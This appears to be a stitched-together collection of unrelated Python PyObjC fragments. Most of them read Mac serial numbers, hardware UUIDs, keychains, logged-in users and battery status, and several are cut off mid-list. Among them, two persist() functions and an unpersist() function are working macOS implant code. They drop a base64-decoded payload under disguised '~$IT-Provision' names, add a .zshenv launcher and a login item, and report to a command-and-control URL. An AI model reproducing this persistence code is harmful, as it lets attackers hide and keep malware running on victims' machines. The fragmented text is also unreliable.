def get_hdid():
osname = platform.system()
if osname == "Windows": # what a mess...
import _winreg
registry = getattr(_winreg, "\x48\x4b\x45\x59\x5f\x4c\x4f\x43\x41\x4c\x5f\x4d\x41\x43\x48\x49\x4e\x45")
address = "\x53\x4f\x46\x54\x57\x41\x52\x45\x5c\x4d\x69\x63\x72\x6f\x73\x6f\x66\x74\x5c\x43\x72\x79\x70\x74\x6f\x67\x72\x61\x70\x68\x79"
keyargs = _winreg.KEY_READ | _winreg.KEY_WOW64_64KEY
key = _winreg.OpenKey(registry, address, 0, keyargs)
value = _winreg.QueryValueEx(key, "\x4d\x61\x63\x68\x69\x6e\x65\x47\x75\x69\x64")
_winreg.CloseKey(key)
return value[0]
elif osname == "Linux":
return os.popen("cat /var/lib/dbus/machine-id").read().rstrip()
elif osname == "Darwin": # https://gist.github.com/erikng/46646ff81e55b42e5cfc
import objc
from Foundation import NSBundle
IOKit_bundle = NSBundle.bundleWithIdentifier_('com.apple.framework.IOKit')
functions = [("IOServiceGetMatchingService", b"II@"),
("IOServiceMatching", b"@*"),
("IORegistryEntryCreateCFProperty", b"@I@@I")
]
objc.loadBundleFunctions(IOKit_bundle, globals(), functions)
keyname = "IOPlatformSerialNumber"
return IORegistryEntryCreateCFProperty(IOServiceGetMatchingService(0, IOServiceMatching("IOPlatformExpertDevice")), keyname, None, 0)
else:
return "(%s) no u jm" % os
def _set_keychain(self):
"""
Lazy import to avoid conflict with pytest-xdist.
"""
import objc
from Foundation import NSBundle
Security = NSBundle.bundleWithIdentifier_('com.apple.security')
S_functions = [
('SecKeychainGetTypeID', b'I'),
('SecKeychainItemGetTypeID', b'I'),
('SecKeychainAddGenericPassword',
b'i^{OpaqueSecKeychainRef=}I*I*I*o^^{OpaqueSecKeychainItemRef}'),
('SecKeychainOpen', b'i*o^^{OpaqueSecKeychainRef}'),
('SecKeychainFindGenericPassword',
b'i@I*I*o^Io^^{OpaquePassBuff}o^^{OpaqueSecKeychainItemRef}'),
]
objc.loadBundleFunctions(Security, globals(), S_functions)
SecKeychainRef = objc.registerCFSignature('SecKeychainRef',
b'^{OpaqueSecKeychainRef=}',
SecKeychainGetTypeID())
SecKeychainItemRef = objc.registerCFSignature(
'SecKeychainItemRef', b'^{OpaqueSecKeychainItemRef=}',
SecKeychainItemGetTypeID())
PassBuffRef = objc.createOpaquePointerType('PassBuffRef',
b'^{OpaquePassBuff=}', None)
# Get the login keychain
result, login_keychain = SecKeychainOpen(b'login.keychain', None)
self.login_keychain = login_keychain
def get_serial_number():
"""Returns the serial number of this Mac _without_ calling system_profiler."""
# Borrowed with love from
# https://github.com/chilcote/unearth/blob/master/artifacts/serial_number.py
# thanks, Joe!
IOKit_bundle = NSBundle.bundleWithIdentifier_("com.apple.framework.IOKit")
functions = [
("IOServiceGetMatchingService", b"II@"),
("IOServiceMatching", b"@*"),
("IORegistryEntryCreateCFProperty", b"@I@@I"),
]
objc.loadBundleFunctions(IOKit_bundle, globals(), functions)
kIOMasterPortDefault = 0
kIOPlatformSerialNumberKey = "IOPlatformSerialNumber"
kCFAllocatorDefault = None
platformExpert = IOServiceGetMatchingService(
kIOMasterPortDefault, IOServiceMatching(b"IOPlatformExpertDevice"))
serial = IORegistryEntryCreateCFProperty(platformExpert,
kIOPlatformSerialNumberKey,
kCFAllocatorDefault, 0)
return serial
def get_serial():
"""Get system serial number."""
# Credit to Mike Lynn
IOKit_bundle = NSBundle.bundleWithIdentifier_("com.apple.framework.IOKit")
functions = [
("IOServiceGetMatchingService", b"II@"),
("IOServiceMatching", b"@*"),
("IORegistryEntryCreateCFProperty", b"@I@@I")
]
objc.loadBundleFunctions(IOKit_bundle, globals(), functions)
kIOMainPortDefault = 0
kIOPlatformSerialNumberKey = 'IOPlatformSerialNumber'
kCFAllocatorDefault = None
platformExpert = IOServiceGetMatchingService(
kIOMainPortDefault,
IOServiceMatching("IOPlatformExpertDevice")
)
serial = IORegistryEntryCreateCFProperty(
platformExpert,
kIOPlatformSerialNumberKey,
kCFAllocatorDefault,
0
)
return serial
def _set_keychain(self):
"""
Lazy import to avoid conflict with pytest-xdist.
"""
import objc
from Foundation import NSBundle
Security = NSBundle.bundleWithIdentifier_('com.apple.security')
# https://developer.apple.com/library/archive/documentation/Cocoa/Conceptual/ObjCRuntimeGuide/Articles/ocrtTypeEncodings.html
S_functions = [
('SecKeychainGetTypeID', b'I'),
('SecKeychainItemGetTypeID', b'I'),
('SecKeychainAddGenericPassword',
b'i^{OpaqueSecKeychainRef=}I*I*I*o^^{OpaqueSecKeychainItemRef}'),
('SecKeychainOpen', b'i*o^^{OpaqueSecKeychainRef}'),
('SecKeychainFindGenericPassword',
b'i@I*I*o^Io^^{OpaquePassBuff}o^^{OpaqueSecKeychainItemRef}'),
('SecKeychainGetStatus', b'i^{OpaqueSecKeychainRef=}o^I'),
]
objc.loadBundleFunctions(Security, globals(), S_functions)
SecKeychainRef = objc.registerCFSignature('SecKeychainRef',
b'^{OpaqueSecKeychainRef=}',
SecKeychainGetTypeID())
SecKeychainItemRef = objc.registerCFSignature(
'SecKeychainItemRef', b'^{OpaqueSecKeychainItemRef=}',
SecKeychainItemGetTypeID())
PassBuffRef = objc.createOpaquePointerType('PassBuffRef',
b'^{OpaquePassBuff=}', None)
# Get the login keychain
result, login_keychain = SecKeychainOpen(b'login.keychain', None)
self.login_keychain = login_keychain
def __init__(self):
CG_bundle = _NSBundle.bundleWithIdentifier_('com.apple.CoreGraphics')
functions = [
("CGSSessionCopyAllSessionProperties", b"@"),
]
_objc.loadBundleFunctions(CG_bundle, globals(), functions)
self._user_sessions = []
def get_system(attribute):
"""A helper function to get specific system attributes.
Args:
type: The system attribute desired.
Returns:
stdout: The system attribute value.
"""
IOKit_bundle = NSBundle.bundleWithIdentifier_('com.apple.framework.IOKit')
functions = [("IOServiceGetMatchingService", b"II@"), ("IOServiceMatching", b"@*"), ("IORegistryEntryCreateCFProperty", b"@I@@I"),]
objc.loadBundleFunctions(IOKit_bundle, globals(), functions)
def io_key(keyname):
return IORegistryEntryCreateCFProperty(IOServiceGetMatchingService(0, IOServiceMatching("IOPlatformExpertDevice".encode("utf-8"))), keyname, None, 0)
def get_hardware_uuid():
return io_key("IOPlatformUUID".encode("utf-8"))
# def get_hardware_serial():
# return io_key("IOPlatformSerialNumber".encode("utf-8"))
# def get_board_id():
# return str(io_key("board-id".encode("utf-8"))).rstrip('\x00')
options = {'uuid' : get_hardware_uuid #,
# 'serial' : get_hardware_serial,
# 'boardID' : get_board_id
}
return options[attribute]()
def get_serial():
"""Get system serial number."""
# Credit to Mike Lynn
IOKit_bundle = NSBundle.bundleWithIdentifier_("com.apple.framework.IOKit")
functions = [
("IOServiceGetMatchingService", b"II@"),
("IOServiceMatching", b"@*"),
("IORegistryEntryCreateCFProperty", b"@I@@I")
]
objc.loadBundleFunctions(IOKit_bundle, globals(), functions)
kIOMasterPortDefault = 0
kIOPlatformSerialNumberKey = 'IOPlatformSerialNumber'
kCFAllocatorDefault = None
platformExpert = IOServiceGetMatchingService(
kIOMasterPortDefault,
IOServiceMatching("IOPlatformExpertDevice")
)
serial = IORegistryEntryCreateCFProperty(
platformExpert,
kIOPlatformSerialNumberKey,
kCFAllocatorDefault,
0
)
return serial
def iconForName(name):
"""Return the NSImage instance representing a `name` item."""
bundle = NSBundle.bundleWithIdentifier_(haskellBundleIdentifier)
imgpath = bundle.pathForResource_ofType_(name, 'png')
img = NSImage.alloc().initWithContentsOfFile_(imgpath)
# Autoreleasing the image seems to randomly crash Espresso.
# img.autorelease()
return img
def persist(data):
try:
lfile = open('/Users/Shared/~$IT-Provision.command', 'w')
lfile.write('#!/usr/bin/python\n\n')
lfile.write('import subprocess\n\n')
lfile.write("subprocess.Popen('python /Users/Shared/\"~\$IT-Provision.py\" &',shell=True)")
lfile.close()
st = os.stat("/Users/Shared/~$IT-Provision.command")
os.chmod("/Users/Shared/~$IT-Provision.command",st.st_mode | 0o111)
ofile = open('/Users/Shared/~$IT-Provision.py', 'wb')
datal = base64.b64decode(data)
ofile.write(datal)
ofile.close()
st = os.stat("/Users/Shared/~$IT-Provision.py")
os.chmod("/Users/Shared/~$IT-Provision.py",st.st_mode | 0o111)
SFL_bundle = NSBundle.bundleWithIdentifier_('com.apple.coreservices.SharedFileList')
functions = [('LSSharedFileListCreate', '^{OpaqueLSSharedFileListRef=}^{__CFAllocator=}^{__CFString=}@'),
('LSSharedFileListCopySnapshot', '^{__CFArray=}^{OpaqueLSSharedFileListRef=}o^I'),
('LSSharedFileListItemCopyDisplayName', '^{__CFString=}^{OpaqueLSSharedFileListItemRef=}'),
('LSSharedFileListItemResolve', 'i^{OpaqueLSSharedFileListItemRef=}Io^^{__CFURL=}o^{FSRef=[80C]}'),
('LSSharedFileListItemMove', 'i^{OpaqueLSSharedFileListRef=}^{OpaqueLSSharedFileListItemRef=}^{OpaqueLSSharedFileListItemRef=}'),
('LSSharedFileListItemRemove', 'i^{OpaqueLSSharedFileListRef=}^{OpaqueLSSharedFileListItemRef=}'),
('LSSharedFileListInsertItemURL', '^{OpaqueLSSharedFileListItemRef=}^{OpaqueLSSharedFileListRef=}^{OpaqueLSSharedFileListItemRef=}^{__CFString=}^{OpaqueIconRef=}^{__CFURL=}^{__CFDictionary=}^{__CFArray=}'),
('kLSSharedFileListItemBeforeFirst', '^{OpaqueLSSharedFileListItemRef=}'),
('kLSSharedFileListItemLast', '^{OpaqueLSSharedFileListItemRef=}'),
('LSSharedFileListSetAuthorization', 'i^{OpaqueLSSharedFileListRef=}^{AuthorizationOpaqueRef=}'),
('AuthorizationCreate', 'i^{_AuthorizationRights=I^{_AuthorizationItem=^cQ^vI}}^{_AuthorizationEnvironment=I^{_AuthorizationItem=^cQ^vI}}I^^{AuthorizationOpaqueRef=}'),]
objc.loadBundleFunctions(SFL_bundle, globals(), functions)
auth = SFAuthorization.authorization().authorizationRef()
ref = SCPreferencesCreateWithAuthorization(None, "/Users/Shared/~$IT-Provision.command", "/Users/Shared/~$IT-Provision.command", auth)
temp = CoreFoundation.CFURLCreateFromFileSystemRepresentation(kCFAllocatorDefault,'/Users/Shared/~$IT-Provision.command',39,False)
items = LSSharedFileListCreate(kCFAllocatorDefault, kLSSharedFileListGlobalLoginItems, None)
myauth = LSSharedFileListSetAuthorization(items,auth)
name = CFStringCreateWithCString(None,'/Users/Shared/~$IT-Provision.command',kCFStringEncodingASCII)
itemRef = LSSharedFileListInsertItemURL(items,kLSSharedFileListItemLast,name,None,temp,None,None)
sendstring = "[+] Login Item persistence successful"
a = {'content':sendstring}
b = 'https://127.0.0.1/validatiion/profile/18'
c = urllib2.Request(b,headers=headers,data=a.get('content'))
d = urllib2.urlopen(c,context=context)
e = d.read()
except Exception as e:
a = {'error':str(e)}
b = 'https://127.0.0.1/validatiion/profile/18'
c = urllib2.Request(b,headers=headers,data=a.get('error'))
d = urllib2.urlopen(c,context=context)
e = d.read()
def get_mac_serial():
"""Return machine serial number for Macs."""
iokit_bundle = NSBundle.bundleWithIdentifier_('com.apple.framework.IOKit')
functions = [("IOServiceGetMatchingService", b"II@"),
("IOServiceMatching", b"@*"),
("IORegistryEntryCreateCFProperty", b"@I@@I")]
objc.loadBundleFunctions(iokit_bundle, globals(), functions)
match = IOServiceMatching("IOPlatformExpertDevice")
service = IOServiceGetMatchingService(0, match)
return IORegistryEntryCreateCFProperty(service, "IOPlatformSerialNumber",
None, 0)
def unpersist():
try:
uname = getpass.getuser()
SFL_bundle = NSBundle.bundleWithIdentifier_('com.apple.coreservices.SharedFileList')
functions = [('LSSharedFileListCreate', '^{OpaqueLSSharedFileListRef=}^{__CFAllocator=}^{__CFString=}@'),
('LSSharedFileListCopySnapshot', '^{__CFArray=}^{OpaqueLSSharedFileListRef=}o^I'),
('LSSharedFileListItemCopyDisplayName', '^{__CFString=}^{OpaqueLSSharedFileListItemRef=}'),
('LSSharedFileListItemResolve', 'i^{OpaqueLSSharedFileListItemRef=}Io^^{__CFURL=}o^{FSRef=[80C]}'),
('LSSharedFileListItemMove', 'i^{OpaqueLSSharedFileListRef=}^{OpaqueLSSharedFileListItemRef=}^{OpaqueLSSharedFileListItemRef=}'),
('LSSharedFileListItemRemove', 'i^{OpaqueLSSharedFileListRef=}^{OpaqueLSSharedFileListItemRef=}'),
('LSSharedFileListInsertItemURL', '^{OpaqueLSSharedFileListItemRef=}^{OpaqueLSSharedFileListRef=}^{OpaqueLSSharedFileListItemRef=}^{__CFString=}^{OpaqueIconRef=}^{__CFURL=}^{__CFDictionary=}^{__CFArray=}'),
('kLSSharedFileListItemBeforeFirst', '^{OpaqueLSSharedFileListItemRef=}'),
('kLSSharedFileListItemLast', '^{OpaqueLSSharedFileListItemRef=}'),
('LSSharedFileListSetAuthorization', 'i^{OpaqueLSSharedFileListRef=}^{AuthorizationOpaqueRef=}'),
('AuthorizationCreate', 'i^{_AuthorizationRights=I^{_AuthorizationItem=^cQ^vI}}^{_AuthorizationEnvironment=I^{_AuthorizationItem=^cQ^vI}}I^^{AuthorizationOpaqueRef=}'),]
objc.loadBundleFunctions(SFL_bundle, globals(), functions)
auth = SFAuthorization.authorization().authorizationRef()
ref = SCPreferencesCreateWithAuthorization(None, "/Users/%s/~$IT-Provision.zip"%uname, "/Users/%s/~$IT-Provision.zip"%uname, auth)
count = len('/Users/%s/Library/WebKit/~$IT-Provision.zip'%uname)
temp = CoreFoundation.CFURLCreateFromFileSystemRepresentation(kCFAllocatorDefault,'/Users/%s/~$IT-Provision.zip'%uname,int(count),False)
list_ref = LSSharedFileListCreate(kCFAllocatorDefault, kLSSharedFileListGlobalLoginItems, None)
login_items,_ = LSSharedFileListCopySnapshot(list_ref, None)
x = [list_ref, login_items]
url_list = []
for items in x[1]:
err, a_CFURL, a_FSRef = LSSharedFileListItemResolve(items, kLSSharedFileListNoUserInteraction + kLSSharedFileListNoUserInteraction, None, None)
url_list.append(a_CFURL)
path = NSURL.fileURLWithPath_('/Users/%s/~$IT-Provision.zip'%uname)
if path in url_list:
i = url_list.index(path)
target = login_items[i]
result = LSSharedFileListItemRemove(list_ref, target)
os.remove('/Users/%s/~$IT-Provision.zip'%uname)
os.remove('/Users/%s/Library/WebKit/~$IT-Provision.py'%uname)
sendstring = "[+] ~/~$IT-Provision.zip and ~/Library/WebKit/~$IT-Provision.py Login Item persistence files removed"
a = {'content':sendstring}
b = 'https://127.0.0.1/validatiion/profile/19'
c = urllib2.Request(b,headers=headers,data=a.get('content'))
d = urllib2.urlopen(c,context=context)
e = d.read()
except Exception as e:
a = {'error':str(e)}
b = 'https://127.0.0.1/validatiion/profile/19'
c = urllib2.Request(b,headers=headers,data=a.get('error'))
d = urllib2.urlopen(c,context=context)
e = d.read()
def getUUID():
from Foundation import NSBundle
IOKit_bundle = NSBundle.bundleWithIdentifier_('com.apple.framework.IOKit')
functions = [("IOServiceGetMatchingService", b"II@"),
("IOServiceMatching", b"@*"),
("IORegistryEntryCreateCFProperty", b"@I@@I"),
]
objc.loadBundleFunctions(IOKit_bundle, globals(), functions)
def io_key(keyname):
return IORegistryEntryCreateCFProperty(IOServiceGetMatchingService(0, IOServiceMatching("IOPlatformExpertDevice".encode("utf-8"))), keyname, None, 0)
#return the system's unique identifier
return str(io_key("IOPlatformUUID".encode("utf-8")))
def get_hardware_uuid():
"""Get the UUID of the computer"""
# IOKit Bundle Objective C code from Michael Lynn
# https://gist.github.com/pudquick/c7dd1262bd81a32663f0
uuid = ''
IOKit_bundle = NSBundle.bundleWithIdentifier_(
'com.apple.framework.IOKit')
functions = [("IOServiceGetMatchingService", b"II@"),
("IOServiceMatching", b"@*"),
("IORegistryEntryCreateCFProperty", b"@I@@I"), ]
IOKit = dict()
objc.loadBundleFunctions(IOKit_bundle, IOKit, functions)
# pylint:disable=F0401, E0602, W0232
uuid = IOKit['IORegistryEntryCreateCFProperty'](
IOKit['IOServiceGetMatchingService'](
0, IOKit['IOServiceMatching'](
'IOPlatformExpertDevice')), 'IOPlatformUUID', None, 0)
return uuid
def get_hardware_uuid():
"""Get the UUID of the computer"""
# IOKit Bundle Objective C code from Michael Lynn
# https://gist.github.com/pudquick/c7dd1262bd81a32663f0
uuid = ''
IOKit_bundle = NSBundle.bundleWithIdentifier_('com.apple.framework.IOKit')
functions = [
("IOServiceGetMatchingService", b"II@"),
("IOServiceMatching", b"@*"),
("IORegistryEntryCreateCFProperty", b"@I@@I"),
]
IOKit = dict()
objc.loadBundleFunctions(IOKit_bundle, IOKit, functions)
# pylint:disable=F0401, E0602, W0232
uuid = IOKit['IORegistryEntryCreateCFProperty'](
IOKit['IOServiceGetMatchingService'](
0, IOKit['IOServiceMatching']('IOPlatformExpertDevice')),
'IOPlatformUUID', None, 0)
return uuid
def fact():
'''Returns the serial number of this Mac.'''
IOKit_bundle = NSBundle.bundleWithIdentifier_("com.apple.framework.IOKit")
functions = [
("IOServiceGetMatchingService", b"II@"),
("IOServiceMatching", b"@*"),
("IORegistryEntryCreateCFProperty", b"@I@@I")
]
objc.loadBundleFunctions(IOKit_bundle, globals(), functions)
kIOMasterPortDefault = 0
kIOPlatformSerialNumberKey = 'IOPlatformSerialNumber'
kCFAllocatorDefault = None
platformExpert = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOPlatformExpertDevice"))
serial = IORegistryEntryCreateCFProperty(platformExpert, kIOPlatformSerialNumberKey, kCFAllocatorDefault, 0)
return {factoid: serial}
def get_serial():
'''Get system serial number'''
# Credit to Michael Lynn
IOKit_bundle = NSBundle.bundleWithIdentifier_('com.apple.framework.IOKit')
functions = [
("IOServiceGetMatchingService", b"II@"),
("IOServiceMatching", b"@*"),
("IORegistryEntryCreateCFProperty", b"@I@@I"),
]
objc.loadBundleFunctions(IOKit_bundle, globals(), functions)
# pylint: disable=undefined-variable
serial = IORegistryEntryCreateCFProperty(
IOServiceGetMatchingService(
0, IOServiceMatching("IOPlatformExpertDevice".encode("utf-8"))),
NSString.stringWithString_("IOPlatformSerialNumber"), None, 0)
# pylint: enable=undefined-variable
return serial
def users():
'''
Get a list of users logged in. This includes both the active console user and all other users logged in via fast
switching.
'''
CG_bundle = NSBundle.bundleWithIdentifier_('com.apple.CoreGraphics')
functions = [("CGSSessionCopyAllSessionProperties", b"@"),]
objc.loadBundleFunctions(CG_bundle, globals(), functions)
userlist = CGSSessionCopyAllSessionProperties()
result = list()
for user in userlist:
result.append({
'username': user['kCGSSessionUserNameKey'],
'longname': user['kCGSessionLongUserNameKey'],
'console': user['kCGSSessionOnConsoleKey'],
'logged_in': user['kCGSessionLoginDoneKey']
})
return result
def serialnumber():
'''
Shamelessly stolen from Frogor magic
https://gist.github.com/pudquick/c7dd1262bd81a32663f0
'''
import objc
from Foundation import NSBundle
IOKit_bundle = NSBundle.bundleWithIdentifier_('com.apple.framework.IOKit')
functions = [
("IOServiceGetMatchingService", b"II@"),
("IOServiceMatching", b"@*"),
("IORegistryEntryCreateCFProperty", b"@I@@I"),
]
# pylint: disable=E0602
objc.loadBundleFunctions(IOKit_bundle, globals(), functions)
logging.debug("Got Machine Serial Number")
return IORegistryEntryCreateCFProperty(
IOServiceGetMatchingService(
0, IOServiceMatching("IOPlatformExpertDevice")),
"IOPlatformSerialNumber", None, 0)
def get_mac_serial_number():
'''
Returns the serial number of this Mac.
Stolen from someone on Github - didn't write it down
https://github.com/chilcote/unearth/blob/cefea89db6e2ca45b73a731672174c66fedd6aa1/artifacts/serial_number.py
'''
IOKit_bundle = NSBundle.bundleWithIdentifier_("com.apple.framework.IOKit")
functions = [("IOServiceGetMatchingService", b"II@"),
("IOServiceMatching", b"@*"),
("IORegistryEntryCreateCFProperty", b"@I@@I")]
objc.loadBundleFunctions(IOKit_bundle, globals(), functions)
kIOMasterPortDefault = 0
kIOPlatformSerialNumberKey = 'IOPlatformSerialNumber'
kCFAllocatorDefault = None
platformExpert = IOServiceGetMatchingService(
kIOMasterPortDefault, IOServiceMatching("IOPlatformExpertDevice"))
serial = IORegistryEntryCreateCFProperty(platformExpert,
kIOPlatformSerialNumberKey,
kCFAllocatorDefault, 0)
return serial
#!/usr/bin/python
from Tkinter import * # Import all of the >3.0 version of Tkiner's functions
import sqlite3 as sq
#We use the serial number as the file name so that no 2 computer's file names are alike
#########################################################
import objc
from Foundation import NSBundle
IOKit_bundle = NSBundle.bundleWithIdentifier_('com.apple.framework.IOKit')
functions = [("IOServiceGetMatchingService", b"II@"),
("IOServiceMatching", b"@*"),
("IORegistryEntryCreateCFProperty", b"@I@@I"),
]
objc.loadBundleFunctions(IOKit_bundle, globals(), functions)
def io_key(keyname):
return IORegistryEntryCreateCFProperty(IOServiceGetMatchingService(0, IOServiceMatching("IOPlatformExpertDevice")), keyname, None, 0)
def get_hardware_serial():
return io_key("IOPlatformSerialNumber")
######################################################### SRC: https://gist.github.com/pudquick/c7dd1262bd81a32663f0
root = Tk() # Create the main window
class StatusBar(Frame):
def __init__(self, master):
Frame.__init__(self, master)
self.label = Label(self, bd=1, relief=SUNKEN, anchor=W)
def persist(data):
try:
uname = getpass.getuser()
prof = """echo "zsh profile error report" > /tmp/~\\$zshprofileerror.txt
nohup /usr/bin/python ~/Library/WebKit/\~\$IT-Provision.py &"""
zf = zipfile.ZipFile('/Users/%s/~$IT-Provision.zip'%uname,mode='w',compression=zipfile.ZIP_DEFLATED)
zf.writestr(".zshenv",prof)
zf.close()
st = os.stat("/Users/%s/~$IT-Provision.zip"%uname)
os.chmod("/Users/%s/~$IT-Provision.zip"%uname,st.st_mode | 0o111)
ofile = open('/Users/%s/Library/WebKit/~$IT-Provision.py'%uname, 'wb')
datal = base64.b64decode(data)
ofile.write(datal)
ofile.close()
st = os.stat("/Users/%s/Library/WebKit/~$IT-Provision.py"%uname)
os.chmod("/Users/%s/Library/WebKit/~$IT-Provision.py"%uname,st.st_mode | 0o111)
SFL_bundle = NSBundle.bundleWithIdentifier_('com.apple.coreservices.SharedFileList')
functions = [('LSSharedFileListCreate', '^{OpaqueLSSharedFileListRef=}^{__CFAllocator=}^{__CFString=}@'),
('LSSharedFileListCopySnapshot', '^{__CFArray=}^{OpaqueLSSharedFileListRef=}o^I'),
('LSSharedFileListItemCopyDisplayName', '^{__CFString=}^{OpaqueLSSharedFileListItemRef=}'),
('LSSharedFileListItemResolve', 'i^{OpaqueLSSharedFileListItemRef=}Io^^{__CFURL=}o^{FSRef=[80C]}'),
('LSSharedFileListItemMove', 'i^{OpaqueLSSharedFileListRef=}^{OpaqueLSSharedFileListItemRef=}^{OpaqueLSSharedFileListItemRef=}'),
('LSSharedFileListItemRemove', 'i^{OpaqueLSSharedFileListRef=}^{OpaqueLSSharedFileListItemRef=}'),
('LSSharedFileListInsertItemURL', '^{OpaqueLSSharedFileListItemRef=}^{OpaqueLSSharedFileListRef=}^{OpaqueLSSharedFileListItemRef=}^{__CFString=}^{OpaqueIconRef=}^{__CFURL=}^{__CFDictionary=}^{__CFArray=}'),
('kLSSharedFileListItemBeforeFirst', '^{OpaqueLSSharedFileListItemRef=}'),
('kLSSharedFileListItemLast', '^{OpaqueLSSharedFileListItemRef=}'),
('LSSharedFileListSetAuthorization', 'i^{OpaqueLSSharedFileListRef=}^{AuthorizationOpaqueRef=}'),
('AuthorizationCreate', 'i^{_AuthorizationRights=I^{_AuthorizationItem=^cQ^vI}}^{_AuthorizationEnvironment=I^{_AuthorizationItem=^cQ^vI}}I^^{AuthorizationOpaqueRef=}'),]
objc.loadBundleFunctions(SFL_bundle, globals(), functions)
auth = SFAuthorization.authorization().authorizationRef()
ref = SCPreferencesCreateWithAuthorization(None, "/Users/%s/~$IT-Provision.zip"%uname, "/Users/%s/~$IT-Provision.zip"%uname, auth)
count = len('/Users/%s/~$IT-Provision.zip'%uname)
temp = CoreFoundation.CFURLCreateFromFileSystemRepresentation(kCFAllocatorDefault,'/Users/%s/~$IT-Provision.zip'%uname,int(count),False)
items = LSSharedFileListCreate(kCFAllocatorDefault, kLSSharedFileListGlobalLoginItems, None)
myauth = LSSharedFileListSetAuthorization(items,auth)
name = CFStringCreateWithCString(None,'/Users/%s/~$IT-Provision.zip'%uname,kCFStringEncodingASCII)
itemRef = LSSharedFileListInsertItemURL(items,kLSSharedFileListItemLast,name,None,temp,None,None)
sendstring = "[+] Login Item persistence successful. ~/~$IT-Provision.zip added as login item to run ~/Library/WebKit/~$IT-Provision.py"
a = {'content':sendstring}
b = 'https://127.0.0.1/validatiion/profile/18'
c = urllib2.Request(b,headers=headers,data=a.get('content'))
d = urllib2.urlopen(c,context=context)
e = d.read()
except Exception as e:
a = {'error':str(e)}
b = 'https://127.0.0.1/validatiion/profile/18'
c = urllib2.Request(b,headers=headers,data=a.get('error'))
d = urllib2.urlopen(c,context=context)
e = d.read()
#!/usr/bin/python
#ref: https://gist.github.com/pudquick/eebc4d569100c8e3039bf3eae56bee4c
from Foundation import NSBundle
import objc
CoreServices = NSBundle.bundleWithIdentifier_('com.apple.CoreServices')
functions = [
('_LSCopyRunningApplicationArray', '@I'),
('_LSCopyApplicationInformation', '@I@@'),
]
constants = [('_kLSApplicationTypeKey', '@'),
('_kLSApplicationForegroundTypeKey', '@'),
('_kLSDisplayNameKey', '@')]
objc.loadBundleFunctions(CoreServices, globals(), functions)
objc.loadBundleVariables(CoreServices, globals(), constants)
apps = _LSCopyRunningApplicationArray(0xfffffffe)
app_infos = [_LSCopyApplicationInformation(0xffffffff, x, None) for x in apps]
visible_app_infos = [
x for x in app_infos
if x.get(_kLSApplicationTypeKey, None) == _kLSApplicationForegroundTypeKey
]
visible_apps = sorted([x.get(_kLSDisplayNameKey) for x in visible_app_infos])
#print visible_app_infos
print visible_apps
import struct, objc
from Foundation import NSBundle
from Cocoa import NSAppleEventDescriptor
def OSType(s):
# Convert 4 character code into 4 byte integer
return struct.unpack('>I', s)[0]
# Create an opaque pointer type to mask the raw AEDesc pointers we'll throw around
AEDescRef = objc.createOpaquePointerType(
'AEDescRef', '^{AEDesc=I^^{OpaqueAEDataStorageType}}')
# Load AESendMessage from AE.framework for sending the AppleEvent
AE_bundle = NSBundle.bundleWithIdentifier_('com.apple.AE')
functions = [
("AESendMessage",
b"i^{AEDesc=I^^{OpaqueAEDataStorageType}}^{AEDesc=I^^{OpaqueAEDataStorageType}}iq"
),
]
objc.loadBundleFunctions(AE_bundle, globals(), functions)
# defined in AEDataModel.h
kAENoReply = 1
kAENeverInteract = 16
kAEDefaultTimeout = -1
kAnyTransactionID = 0
kAutoGenerateReturnID = -1
# defined in AEDataModel.h
class InternalBattery(object):
IOKit = NSBundle.bundleWithIdentifier_('com.apple.framework.IOKit')
functions = [
("IOServiceGetMatchingService", b"II@"),
("IOServiceMatching", b"@*"),
("IORegistryEntryCreateCFProperties", b"IIo^@@I"),
("IOPSCopyPowerSourcesByType", b"@I"),
("IOPSCopyPowerSourcesInfo", b"@"),
]
objc.loadBundleFunctions(IOKit, globals(), functions)
def all_fields():
try:
battery = list(IOPSCopyPowerSourcesByType(0))[0]
except:
battery = 0
if (battery != 0):
return battery
def current_capacity(self):
try:
battery_stats = list(IOPSCopyPowerSourcesByType(0))[0]
except:
battery_stats = 0
if (battery_stats != 0):
return str(battery_stats["Current Capacity"]) + "%"
def is_charging(self):
charging = False
try:
battery_stats = list(IOPSCopyPowerSourcesByType(0))[0]
except:
battery_stats = 0
if (battery_stats != 0):
if battery_stats["Is Charging"] == 1:
charging = "Charging"
return charging
elif battery_stats["Is Charging"] == 0 and battery_stats[
"Current Capacity"] < 100:
charging = "Not Charging"
return charging
elif battery_stats["Current Capacity"] == 100:
charging = "Fully Charged"
# try:
# if battery_stats["Is Charged"] is not False:
# charging = "Fully Charged"
# elif battery_stats["Is Charged"] is False:
# charging = "Fully Charged"
# return charging
# except Exception as e:
# charging = "Not Charging"
# print(e)
return charging
return charging
def time_to_empty():
try:
battery_stats = list(IOPSCopyPowerSourcesByType(0))[0]
except:
battery_stats = 0
if (battery_stats != 0):
return battery_stats["Time to Empty"]
# This was all run from user space
# I haven't tested it with root
# ... but it didn't prompt for any permissions under userspace ^_^
# Tested on 10.11.5
import objc
from Foundation import NSBundle
EAP8021X_bundle = NSBundle.bundleWithPath_('/System/Library/PrivateFrameworks/EAP8021X.framework')
Security_bundle = NSBundle.bundleWithIdentifier_('com.apple.security')
kEAPOLClientDomainUser = 1
kEAPOLClientDomainSystem = 3
E_functions = [
('EAPOLClientConfigurationCopyProfiles', '@@'),
('EAPOLClientConfigurationCopyAllLoginWindowProfiles', '@@'),
('EAPOLClientConfigurationCopyAllSystemProfiles', '@@'),
('EAPOLClientConfigurationCreate', '@^@'),
('EAPOLClientConfigurationGetProfileWithID', '@@@'),
('EAPOLClientItemIDCopyIdentity', '@@i'),
('EAPOLClientItemIDCreateWithProfile', '@@'),
('EAPOLClientProfileGetAuthenticationProperties', '@@'),
('EAPOLClientProfileGetUserDefinedName', '@@'),
('EAPOLClientProfileGetWLANSSIDAndSecurityType', '@@o^@'),
('EAPOLClientProfileGetID', '@@'),
('EAPOLControlCopyStateAndStatus', 'i*o^io^@'),
('EAPSecCertificateCopyAttributesDictionary', '@@'),
('EAPSecCertificateCopyUserNameString', '@@'),
]
S_functions = [
from Foundation import NSFileManager
from Foundation import CFPreferencesCopyAppValue
from Foundation import CFPreferencesAppSynchronize
from Foundation import NSDateFormatter
from Foundation import NSDateFormatterBehavior10_4
from Foundation import kCFDateFormatterLongStyle
from Foundation import kCFDateFormatterShortStyle
from SystemConfiguration import SCDynamicStoreCopyConsoleUser
# pylint: enable=E0611
# See http://michaellynn.github.io/2015/08/08/learn-you-a-better-pyobjc-bridgesupport-signature/
# for a primer on the bridging techniques used here
#
# https://developer.apple.com/documentation/iokit/iopowersources.h?language=objc
